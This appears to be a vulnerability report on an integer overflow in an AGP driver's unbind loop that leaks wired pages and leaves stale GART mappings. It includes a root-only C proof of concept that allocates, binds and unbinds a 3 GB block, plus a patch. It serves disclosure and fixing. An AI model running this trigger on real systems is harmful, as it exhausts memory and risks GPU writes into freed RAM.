Summary

agp_generic_unbind_memory declares the iteration counter as int i (line 609) but compares it against mem->am_size which is vm_size_t. am_size is bounded only by as_maxmem, which the heuristic table at agp.c:168-178 sizes up to 3932 MB — well above INT_MAX (2 GB).

When am_size > 2 GB, i += AGP_PAGE_SIZE crosses INT_MAX, the signed int overflows (undefined behavior in C), the loop exits early, and pages past 2 GB stay wired forever with am_is_bound still marked 0 — silent resource leak and inconsistent GART state.

Root cause

agp.c:609 int i; then agp.c:624:

for (i = 0; i < mem->am_size; i += AGP_PAGE_SIZE)
    AGP_UNBIND_PAGE(dev, mem->am_offset + i);

and again agp.c:627:

for (i = 0; i < mem->am_size; i += PAGE_SIZE) {
    m = vm_page_lookup_busy_wait(...);
    vm_page_unwire(m, 0);
    ...
}

as_maxmem is set from agp_max[] at agp.c:225 to up to 3932<<20 bytes for systems with ≥ 4 GB RAM, and agp_generic_alloc_memory (line 464) allows any single allocation up to as_maxmem − as_allocated. So a single 3 GB allocation is reachable on a 4 GB-RAM host.

Contrast with agp_generic_bind_memory (lines 502-602), which correctly declares vm_offset_t i, j, k; at line 507 — the unbind path was missed when those were fixed.

Threat model

Requires /dev/agpgart access (root). Trigger: allocate a multi-GB AGP block on a host with enough RAM, bind it, then unbind it.

Result: a portion of the wired page count is leaked permanently (vm_page_unwire never runs for pages past 2 GB), the GATT entries for those pages still alias physical memory, but mem->am_is_bound is set to 0 and the block can be freed — leaving stale GATT mappings pointing at freed RAM.

This is primarily a local DoS (irreversible wired-page exhaustion) and a correctness hazard (stale GATT PTEs after free). Not a direct memory-corruption primitive, but the stale-GATT-after-free half is the more serious half: the GPU can keep DMA'ing to RAM pages the kernel considers free.

PoC

findings/poc/DF-1688/agp_unbind_oflow.c:

/* DoS demo */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/agpio.h>
#include <stdio.h>

int main(void) {
    int fd = open("/dev/agpgart", O_RDWR);
    ioctl(fd, AGPIOC_ACQUIRE, 0);
    /* 3 GB allocation — host must have >= 4 GB and as_maxmem >= 3 GB. */
    agp_allocate a = {.pg_count=(3u<<30)>>12, .type=0};
    if (ioctl(fd, AGPIOC_ALLOCATE, &a)) { perror("alloc 3GB"); return 1; }
    agp_bind b = {.key=a.key, .pg_start=0};
    ioctl(fd, AGPIOC_BIND, &b);
    agp_unbind u = {.key=a.key, .priority=0};
    ioctl(fd, AGPIOC_UNBIND, &u);
    /* At this point ~1 GB of pages are still wired; vmstat -m will show it. */
    ioctl(fd, AGPIOC_DEALLOCATE, &a.key);
    return 0;
}

Build: cc -O2 -o agp_unbind_oflow agp_unbind_oflow.c. Run as root on a 4 GB+ guest.

Success: vmstat -m / pstat -s shows permanently-wired pages after the dealloc; or panic from later GART-table reuse.

Recommended fix

Use the same unsigned type that bind uses.

--- a/sys/dev/agp/agp.c
+++ b/sys/dev/agp/agp.c
@@ -606,7 +606,7 @@ int
 agp_generic_unbind_memory(device_t dev, struct agp_memory *mem)
 {
    struct agp_softc *sc = device_get_softc(dev);
    vm_page_t m;
-   int i;
+   vm_offset_t i;

    lockmgr(&sc->as_lock, LK_EXCLUSIVE);